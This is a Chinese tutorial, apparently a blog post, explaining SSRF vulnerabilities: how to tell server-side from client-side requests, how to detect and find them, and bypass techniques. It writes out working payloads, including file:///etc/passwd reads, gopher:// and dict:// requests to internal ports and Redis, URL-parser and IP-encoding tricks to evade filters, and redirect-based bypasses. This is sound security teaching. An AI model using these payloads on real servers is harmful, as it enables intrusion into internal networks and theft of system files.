SSRF漏洞详解

1. 什么是SSRF漏洞?

服务器通常比你(外网用户)有更高的权限。 它可以访问内网数据库、内网管理后台、云服务器的元数据接口......这些都是你直接访问不到的(因为有防火墙)。

SSRF 的本质 : 你给服务器一个 URL,欺骗服务器去访问这个 URL。 因为请求是从服务器内部发出的,防火墙一看是自己人,于是你就能通过服务器,探测和攻击内网。判断SSRF漏洞是否存在的重要前提是:请求一定是服务端发起的,以上链接即使存在也不一定代表这个请求是服务端发起的。因此前提不满足的情况下,不需要考虑SSRF。

判断 SSRF 的黄金准则 只有一条: 请求到底是谁发起的?

客户端发起(假 SSRF)

如果后端代码只是给了浏览器一个 302 跳转指令,或者是前端 JS 的 window.location,那是你的浏览器 去访问目标。你访问内网 127.0.0.1,浏览器会连你自己电脑的端口,根本没经过服务器。这没用。

服务端发起(真 SSRF)

只有当后端代码使用了 curlfile_get_contentsJava HttpClient 等函数,由服务器的 CPU 和网卡去建立 TCP 连接获取数据,再回显给你,这才是 SSRF。

2. 漏洞检测

假设一个漏洞场景:某网站有一个在线加载功能可以把指定的远程图片加载到本地,功能链接如下:

复制代码
​​​​​​​http://www.aaa.com/load.php?image=http://www.bbb.com/1.jpg

那么网站请求的大致步骤: 用户输入图片地址->请求发送到服务端解析->服务端请求链接地址的图片数据->获取请求的数据加载到前 端显示。

这个过程中可能出现问题的点就在于访问请求发送到服务端的时候,图片加载请求是由服务端去加载的,而系统没有校验前端给定的参数是不是允许访问的地址域名,例如,上述链接可以修改为:

复制代码
http://www.xxx.com/load.php?image=http://127.0.0.1:22

上述请求一旦获取响应,可能返回请求端口banner。如果协议允许,甚至可以使用其他协议来读取和执 行相关命令。例如:

复制代码
http://www.xxx.com/load.php?image=file:///etc/passwd
http://www.xxx.com/load.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端
口请求data data2)
http://www.xxx.com/load.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据
test,同样可以发送POST请求)

3. 漏洞绕过

3.1 URL 解析差异

场景 :限制域名必须是白名单(如 www.xxx.com)。 原理 :利用 PHP 的 parse_url() 和底层 libcurl 对 URL 理解的分歧。

  • Payloadhttp://www.aaa.com@www.bbb.com@www.ccc.com

  • 绕过逻辑

    • PHP (安检员) :看到最后面的 @www.ccc.com,认为是白名单,放行。

    • Libcurl (跑腿员) :实际请求时,把请求发给了前面的 www.bbb.com(恶意服务器)。

3.2 IP 进制转换

场景 :黑名单禁止访问 127.0.0.1原理:系统底层网络库支持多种 IP 格式,但正则匹配通常只认点分十进制。

  • Payload 变体

    • 八进制0177.0.0.1 (注意 0 开头)

    • 十六进制0x7F000001

    • 十进制整数2130706433 (浏览器和 Ping 都认!)

    • 混合写法127.0.0.0x1

  • 结果 :正则看不懂这些"乱码"于是放行,但系统底层完美解析回 127.0.0.1

3.2 短网址与 302 跳转

限制必须是 http 协议且非内网 IP。

  • Payload :生成一个短网址 http://t.cn/xxx 或者 http://985.so/xxx

  • 攻击流程

    1. 服务器检查短网址:是公网域名,通过。

    2. 服务器请求短网址,收到 302 跳转 响应。

    3. 服务器自动 跟随跳转到 gopher://127.0.0.1:6379/... 或内网 IP,直捣黄龙。

3.4 。绕过

严格过滤 . 符号

Payload127。0。0。1 (使用中文句号)

4. 挖掘SSRF漏洞

SSRF 不像 SQL 注入那么明显,它往往藏在一些不起眼的功能点里:

  1. 敏感参数 :盯着 URL 里的关键字,如 share=(分享)、wap=(转码)、url=image=(图片加载)、src=

  2. 无回显探测(Blind SSRF) : 有时候你输入 URL,页面没变化。这时候要用 DNSLog

    • 发送 url=http://你的子域名.dnslog.cn

    • 如果你在 DNSLog 后台看到了来自目标服务器 IP 的解析记录,实锤了

  3. 验证逻辑: 在自己的 VPS 上开个 HTTP 服务,让目标来连,看 Access Log 的 User-Agent 和来源 IP,这是最直接的证据。

相关推荐
军哥系统集成号2 小时前
PIA协同落地指南:打破六类评估壁垒,实现合规证据复用(合规协同系列第四篇)
网络·安全·web安全
heze093 小时前
sqli-labs-Less-20自动化注入方法
mysql·网络安全·less
上海云盾安全满满3 小时前
网络安全威胁是什么,类型有哪些
网络·安全·web安全
这个杀手有点爽3 小时前
Vnlnhub DC-7
web安全
heze0912 小时前
sqli-labs-Less-18自动化注入方法
mysql·网络安全·自动化
\xin15 小时前
Fastjson 1.2.45仅JSON接口反序列化漏洞
安全·web安全·json
twcc_come18 小时前
渗透第一次作业
安全·web安全
独行soc20 小时前
2026年渗透测试面试题总结-3(题目+回答)
网络·python·安全·web安全·渗透测试